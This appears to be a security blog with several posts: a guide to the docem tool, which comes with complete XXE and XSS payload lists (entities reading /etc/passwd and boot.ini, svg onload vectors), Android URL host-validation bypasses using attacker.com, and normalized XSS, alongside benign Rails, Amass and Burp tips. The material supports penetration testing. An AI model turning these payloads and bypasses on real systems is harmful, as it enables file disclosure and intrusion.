If you find powerful OXML XXE tool? it's "DOCEM"

XXE 테스트 시 쓸만한 도구 하나 찾아서 공유드립니다.
직접 노가다하거나 기존에 공개됬던 툴보단 훨씬 편리할 것 같습니다.

When I tested OXML XXE, OOXML XXE, I used to create payload myself or used this tool.

Recently, i found powerful tool, I’d like to share a this tool, docem.

If you would like to know how to insert payload you self, please refer to the this link.
There’s a similar tool on burp extension.

Powerful!!!  /  https://i.giphy.com/8P1ugJO2Tw9Usg0JJK.gif

How to install?

Just simple.

oneline command
git clone https://github.com/whitel1st/docem;cd docem;pip3 install -r requirements.txt;alias add docem="python3 $(pwd)/docem.py"

1) clone docem repo
$ git clone https://github.com/whitel1st/docem
$ cd docem

2) Install required packages
$ pip3 install -r requirements.txt

3) Run docem
$ python3 docem.py

usage: docem.py [-h] [-s SAMPLE] [-pm {xss,xxe}] [-kt]
                [-pt {per_place,per_file,per_document}] [-sx SAMPLE_EXTENSION]
                [-pf PAYLOAD_FILE]

Create docx,odt,pptx,etc files with XXE/XSS payloads

required arguments:
  -s SAMPLE             path to sample file
  -pm {xss,xxe}         payload mode: embedding XXE or XSS in a file

optional arguments:
  -h, --help            show this help message and exit
  -kt                   do not delete unpacked and modified folders
  -pt {per_place,per_file,per_document}
                        how many payloads will be in one file. per_document is
  -pf PAYLOAD_FILE      path to a file with payloads to embed

tip) Alias command
$ alias add docem="python3 $(pwd)/docem.py"

Inject XXE Payload to Office(word,excel etc…) file

It’s easy to create payloads through the docem.

$ docem -s samples/xxe/sample_oxml_xxe.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_document -sx docx

Current magic_symbol:  XXCb8bBA9XX

=========== Current setup ===========
sample file:         samples/xxe/sample_oxml_xxe.docx
sample is it dir:     False
payload mode:         xxe
payload file:         payloads/xxe_special_2.txt
payload type:         per_document
number of payloads:     3
keep upacked files:     True

======== Count magic symbols ========
    0    symbols in docProps_app
    0    symbols in docProps_core
    0    symbols in _rels_

    packed to: tmp/sample_oxml_xxe-per_document-payload_0_1569687338738463.docx

    packed to: tmp/sample_oxml_xxe-per_document-payload_1_1569687338751476.docx

    packed to: tmp/sample_oxml_xxe-per_document-payload_2_156968733876288.docx

Extract Payload file…
unzip sample_oxml_xxe-per_document-payload_2_156968733876288.docx
Archive:  sample_oxml_xxe-per_document-payload_2_156968733876288.docx
   creating: _rels/
   creating: docProps/
   creating: word/
  inflating: [Content_Types].xml
  inflating: docProps/app.xml
  inflating: docProps/core.xml
  inflating: _rels/.rels
   creating: word/_rels/
   creating: word/theme/
  inflating: word/fontTable.xml
  inflating: word/document.xml
  inflating: word/settings.xml
  inflating: word/webSettings.xml
  inflating: word/styles.xml
  inflating: word/stylesWithEffects.xml
  inflating: word/theme/theme1.xml
  inflating: word/_rels/document.xml.rels

You find Injected Payload
$ cat document.xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE roottag PUBLIC "-//OXML/XXE/EN" "">

All Payloads..


1) payload/no_payload.txt


2) payload/xss_all.txt
&apos;&quot;&gt;&lt;svg onload=alert(1)&gt;
&apos;&quot;&gt;&lt;svg onload=alert(2)>
&apos;&quot;>&lt;svg onload=alert(3)&gt;
&apos;&quot;>&lt;svg onload=alert(4)>
<!--'"><-->svg onload=alert(5)<!-->-->
<!--'"><-->svg onload=alert(6)>
<!--'"><svg onload=alert(7)>-->
<![CDATA["'><]]>svg onload=alert(8)>
<![CDATA["'><]]>svg onload=alert(9)<![CDATA[>]]>
&#39;&#34;&#62;&#60;svg onload=alert(10)&#62;
&#39;&#34;>&#60;svg onload=alert(11)&#62;
&#39;&#34;&#62;&#60;svg onload=alert(12)>
&#39;&#34;>&#60;svg onload=alert(13)>
&#x0027;&#x0022;&#x003E;&#x003C;svg onload=alert(14)&#x003E;
&#x0027;&#x0022;&#x003E;&#x003C;svg onload=alert(15)>
&#x0027;&#x0022;>&#x003C;svg onload=alert(16)&#x003E;
&#x0027;&#x0022;>&#x003C;svg onload=alert(17)>
%27%22%3E%3Csvg onload=alert(18)%3E
%27%22>%3Csvg onload=alert(20)>
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<![CDATA[<IMG SRC=x on]]><![CDATA[load=alert(24);">]]>

3) payload/xss_tiny.txt
&apos;&quot;&gt;&lt;svg onload=alert(1)&gt;
&#x0027;&#x0022;&#x003E;&#x003C;svg onload=alert(14)&#x003E;


4) payload/xxe_special_1.txt
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary \"XXE_STRING\">]>","reference":"&xxe_canary;"}

5) payload/xxe_special_2.txt
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_test \"XXE_STRING\">]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}

6) payload/xxe_special_3.txt
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_test \"XXE_STRING\">]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_3 SYSTEM \"file:///etc/passwd\">]>","reference":"&xxe_canary_3;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"file:///c:/boot.ini\">]>","reference":"&xxe_canary_4;"}

7) payload/xxe_special_4.txt
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_test \"XXE_STRING\">]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_3 SYSTEM \"file:///etc/passwd\">]>","reference":"&xxe_canary_3;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"file:///c:/boot.ini\">]>","reference":"&xxe_canary_4;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_5 SYSTEM \"file:///etc/issue\">]>","reference":"&xxe_canary_5;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY % xxe_canary_6 SYSTEM \"file:///etc/issue\"><!ENTITY % dtd SYSTEM \"custom_domain\">%dtd;%trick;]>  ]>","reference":""}

8) payload/xxe_special_5.txt
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_test \"XXE_STRING\">]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_3 SYSTEM \"file:///etc/passwd\">]>","reference":"&xxe_canary_3;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"file:///c:/boot.ini\">]>","reference":"&xxe_canary_4;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"custom_domain_here\">]>","reference":"&xxe_canary_4;"}
Share: | Coffee Me:


Normalized Stored XSS (\xef\xbc\x9c => \x3c)

해커원 보고서를 읽던 중 재미있는 XSS 취약점이 있어 공유해봅니다.
I read the hacker1 report every day. there is an interesting XSS vulnerability in the disclosure hacker1 report, so i share it.


Normalized XSS


What is ?

페이로드 중 <가 %3C가 아닌 IDN 문자(efbc9c)입니다. 다만 해당 사이트에서 검증 이후 <를 <로 일반화하여 처리하기 때문에 스크립트가 실행된 케이스입니다.

(\xef\xbc\x9c) is an IDN string instead of <(\x3c) in payload.
However, it is a triggered case because the site generalizes (\xef\xbc\x9c) after verification as <(\x3c).

$ cat diff.txt

$ hexdump -C diff.txt
00000000  ef bc 9c 3c 0a                                    |...<.|


이번 blackhat 2019에서도 IDN Char를 이용한 Host 검증 우회에 관한 이야기가 있었습니다. IDN Char가 대한 Normalization이 우회수단으로 사용될 수 있으니… 더 심층적인 테스트가 필요할 것 같습니다.
(실제로 잘 안나오는 케이스인데, 찾은게 대단하네요)

In this blackhat 2019, there was also talk about host verification bypass using IDN Char. Normalization for IDN Char can be used as a bypass… i think, we need a more in-depth test.


Share: | Coffee Me:

How to Remove Unused JS/CSS with Browser developers tool

Today, I will briefly talk about how to identify unused JS and CSS on the web page.
If you take advantage of this, you can reduce unnecessary code, so you can create faster web services.


  1. Chrome Developers Tools
  2. Command + Shift + p
  3. Search Coverage
  4. Click Show Coverage
  5. if you Click Items, show use/unused code(js,css)

Step by Step

1. Chrome Developers Tools

Chrome engines are all the same. (Opera, Brave, etc..)

2. Command + Shift + p
// It is powerfull command! find any browser tools

3. Search Coverage and click Show Coverage

4. Click start capturing coverage

5. if you Click Items, show use/unused code(js,css)
what? 98.8%?????

Share: | Coffee Me:


Path Traversal pattern of ../

Path traversal 페이로드 관련해서 툴 사용이 어려울 때 매번 타이핑하기 귀찮아서 하나 만들어두고 쓰고 이었습니다. cheatsheet쪽에 정리하려다가, 아직 개편(진행중이랍니다..)중이고 이후에 어떤 형태로 나타낼지 자리잡히지 않아서 글로 미리 작성해둡니다.

Path Traversal pattern of ../

Share: | Coffee Me:

Bypass host validation Technique in Android(Common+Golden+Mythink)

SSRF, CSRF, Open Redirect 등 사용자로부터 입력받은 URL을 검증해야할 일은 많습니다. 직접 검증 로직을 하나하나 구현하는 방법도 있지만, 보통은 각 언어에서 제공하는 메소드를 통해 host, scheme를 분리한 후 검증하는 것이 좋은 방법입니다.

오늘은 Android에서 Host 검증(URL검증)을 우회하는 방법 5가지에 대해 이야기할까 합니다.
글쓰기에 앞서 @bagipro 의 글이 엄청 도움되었습니다. 꼭 읽어보시길 바랍니다.

1. Bypass String pattern (if string match protection)

first, this is common string bypass pattern
기본적인 문자열 우회 패턴입니다.


# if blacklist protection,
https://www.hahwul.com/p/tools.html > menu > URL Pattern

2. \ + @ (if getHost() protection)

second, \+@ payload for bypass android getHost() protection.


android.net.uri와 java.net.URI의 파싱 차이가 있어서 같은 URL도 다르게 해석합니다.
(this problem in android.net.uri and java.net.URI parser. different parsing to same url)
String url = "http://attacker.com\\\\@trustdomain.com";

// [ java ]
Log.d("Wow", Uri.parse(url).getHost()); 
// print trustdomain.com

// [ android ]
webView.loadUrl(url, getAuthorizationHeaders()); 
// print attacker.com

일부 안드로이드 앱들은 webview를 사용하기 전 앞단에서 getHost를 통해 호스트 주소를 가져와서 비교하는데, java쪽의 Uri.parse에서 getHost()를 호출해서 비교하는 경우 웹뷰(안드로이드)에서 사용되는 Uri와 파싱 형태가 다르기 때문에 서로 다른 주소라고 판단시킬 수 있습니다. 이점은 Era of ssrf와 유사하죠.

3. HierarchicalUri를 이용한 임의 URI 객체 생성(if getHost() protection)

3rd, Make HierarchicalUri Object
잘못된 URI가 입력되었을 때 URI 파서 자체에서 에러가 발생해서 공격코드로 만들기 힘든 경우가 있는데 HierarchicalUri 는 임의 URL 주소가 포함된 객체를 만들 수 있어 URI 파서에 의존한 공격코드를 무력화 할 수 있습니다.

HierarchicalUri 객체를 보면 인스턴스를 만들 때 호스트와 path를 전달해주는데 이 때 host는 trustdomain.com path는 @untrustdomain.com URI 파서 에러를 발생시키지 않는 비정상적인 URI 객체 생성이 가능합니다.

uri = (Uri) hierarchicalUriConstructor.newInstance("https", "trustdomain.com", "@untrust.com", null, null);

// uri : trustdomain.com@untrust.com
Class partClass = Class.forName("android.net.Uri$Part");
            Constructor partConstructor = partClass.getDeclaredConstructors()[0];

            Class pathPartClass = Class.forName("android.net.Uri$PathPart");
            Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];

            Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
            Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];

            Object authority = partConstructor.newInstance("trustdomain.com", "trustdomain.com");
            Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
            uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

요약하자면, URI 객체를 하나 만들어서 전달한다고 보시면 됩니다.
(url 주소를 받는 부분에서 검증하지 않는다면, 검증 로직을 속일 수 있죠)

4. Intent(if getHost() protection)

four, intent-filter
웹과 모바일간에 intent-filter를 통해서 데이터를 포함하여 이동이 가능한데, 이 때 안드로이드에서의 getHost()는 intent-filter 에 정의된 host를 바라본다고 합니다. (잘 모르던 방법이라 확실하진 않는데, 제가 이해하기론 그렇습니다. 직접 케이스가 나와봐야… 머리에 남을 것 같네요)

            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https" android:host="trustdomain.com"/>

<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@trustdomain.com/;end">test</a>


getHost : trustdomain.com
webview : attacker.com

아래 링크 참고하시면...

5. Missing Scheme(if getHost() protection)

last, change protocol(scheme)
getScheme을 통해 스킴을 검증하지 않고 단순하게 getHost()만 사용하거나 스킴 검증 로직에 문제가 있을 경우 이런 패턴으로 공격이 가능합니다.

웹에서도 비슷함.. https://twitter.com/hahwul/status/1110580091266826241

이 글도 느낌이 수정을 몇번 하게될 것 같습니다..

bypass bypass bypass! / https://i.giphy.com/xVe2vhAqlUOCQ.gif


Share: | Coffee Me:


Rails에서 HTTP Basic Auth 적용하기(How to add HTTP basic auth on Rails)

HTTP Basic Auth는 HTTP에서 기본적으로 사용되는 인증 방식이고, ID/PW를 Base64로 인코딩해서 Auth 헤더에 넣어 서버가 신뢰된 사용자인지 검증하는 방식으로 동작합니다. 물론 http 환경, MITM이 가능한 상태의 환경에선 굉장히 위험할 수 있는 방식이지만, 별다른 걱정 없이 쉽게 인증을 적용할 수 있기 때문에 간단한 토이 프로젝트에선 사용해볼만 합니다. (다른 인증은 만들기 귀찮..)

간단하게 Rails에서 HTTP Auth 적용하는 방법 메모할겸 포스팅합니다.
(자꾸 까먹네요..)

Step 1. concern 모듈 만들어주기.

(path는 개인 취향입니다. 그냥 controller 아래 만들어도.. 상관은 없어요)
module HttpAuthConcern  
    extend ActiveSupport::Concern
    included do
        before_action :http_authenticate
    def http_authenticate
        authenticate_or_request_with_http_basic do |username, password|
            username == 'username' && password == 'password'

Step 2. Basic auth가 필요한 컨트롤러에 적용하기

include로 필요한 부분에 만들어둔 모듈을 로드해주면 끝납니다.

include HttpAuthConcern

class YourPrivateController < ApplicationController
  before_action :set_zzz, only: [:show, :edit, :update, :destroy]
  skip_before_action :verify_authenticity_token, :only => [:testzzsfdfsd]
  include HttpAuthConcern

Step 3. There’s no third one.


Share: | Coffee Me:


OWASP Amass - DNS Enum/Network Mapping

OWASP Amass는 OWASP에서 go로 만든 DNS Enum, Network Mapping 도구이자 Project입니다.
Recon, OSINT 도구로 보시면 될듯하고 성능은 아직 체감상 느껴지진 않으나 지원하는 기능의 범위가 넓어서 활용도가 높은 프로그램으로 생각됩니다.

DNS, Scaraping, APIs(외부API조회), Web Archnives(예전 사이트 이력 분석) 등을 지원하고, 아무래도 OWASP에서 직접 리드하여 개발하기 때문에 완성도는 기대해볼만 합니다.

[ DNS ]
Basic enumeration, Brute forcing (upon request), Reverse DNS sweeping, Subdomain name alterations/permutations, Zone transfers (upon request)

[ Scraping ]
Ask, Baidu, Bing, DNSDumpster, DNSTable, Dogpile, Exalead, Google, HackerOne, IPv4Info, Netcraft, PTRArchive, Riddler, SiteDossier, ViewDNS, Yahoo
Certificates: Active pulls (upon request), Censys, CertSpotter, Crtsh, Entrust, GoogleCT

[ APIs ]
AlienVault, BinaryEdge, BufferOver, CIRCL, CommonCrawl, DNSDB, HackerTarget, Mnemonic, NetworksDB, PassiveTotal, RADb, Robtex, SecurityTrails, ShadowServer, Shodan, Spyse (CertDB & FindSubdomains), Sublist3rAPI, TeamCymru, ThreatCrowd, Twitter, Umbrella, URLScan, VirusTotal

[ Web Archives ]
ArchiveIt, ArchiveToday, Arquivo, LoCArchive, OpenUKArchive, UKGovArchive, Wayback

How to Install? Use?

Install on MacOS

$ brew tap caffix/amass
$ brew install amass

on docker

$ docker build -t amass https://github.com/OWASP/Amass.git
$ docker run -v ~/amass:/amass/ amass enum --list

Other Platform



Default options(subcommand)

amass intel - Discover targets for enumerations
amass enum  - Perform enumerations and network mapping
amass viz   - Visualize enumeration results
amass track - Track differences between enumerations
amass db    - Manipulate the Amass graph database

Subcommnad Details


DNS Scanning

$ amass enum -d [target domain]

결과가 너무 없어서 bruteforce 등 몇몇 서브 옵션을 더 넣어줬습니다.

$ amass enum -src -brute -min-for-recursive 1 -d hahwul.com

워 생각보단 subdomain 많이 찾았네, 그치만... private 한건 못건지신듯

Config file?

옵션이 분명 엄청 복잡해질듯한데, ini 파일로 어느정도 템플릿을 만들어두고 쓰는게 좋아보입니다. 포맷은 아래를 참고해주세요.



Share: | Coffee Me:


Burp collaborator 인증서 에러 해결하기(certificate error solution)

Burp를 쓰다보면 간혹 이런 에러를 만날 수 있습니다. (하필 중요한 콜라보레이터에서 ㅜㅜ)

The Burp Collaborator server used by the Burp Collaborator client is not reachable. change the setting…

Why problem?

Burp suite의 인증서(자체서명)로 콜라보레이터 서버에 대해 신뢰할 수 있는 연결을 할 수 없어서 에러가 발생합니다. 2가지 정도 방안이 있을 것 같습니다.

Solution1 - Poll over unencrypted HTTP

우선 이를 인지한건지 PortSwigger 측에서 기능으로 지원하고 있습니다.
버프 자체에서 암호화되지 않은 요청도 처리할 수 있도록 Poll over unencrypted HTTP 옵션 활성화해주시면 됩니다.

Burp tabs => Project options => Misc => Burp Collaborator Serverr

Solution2 - import certificate a java keysotre

인증서를 자바 자체에서 신뢰할 수 있도록 키스토어에 등록하여 처리할 수 있습니다.
$ keytool -importcert -file cacert.cer -keystore keystore.jks -alias "BurpSuite"


Share: | Coffee Me: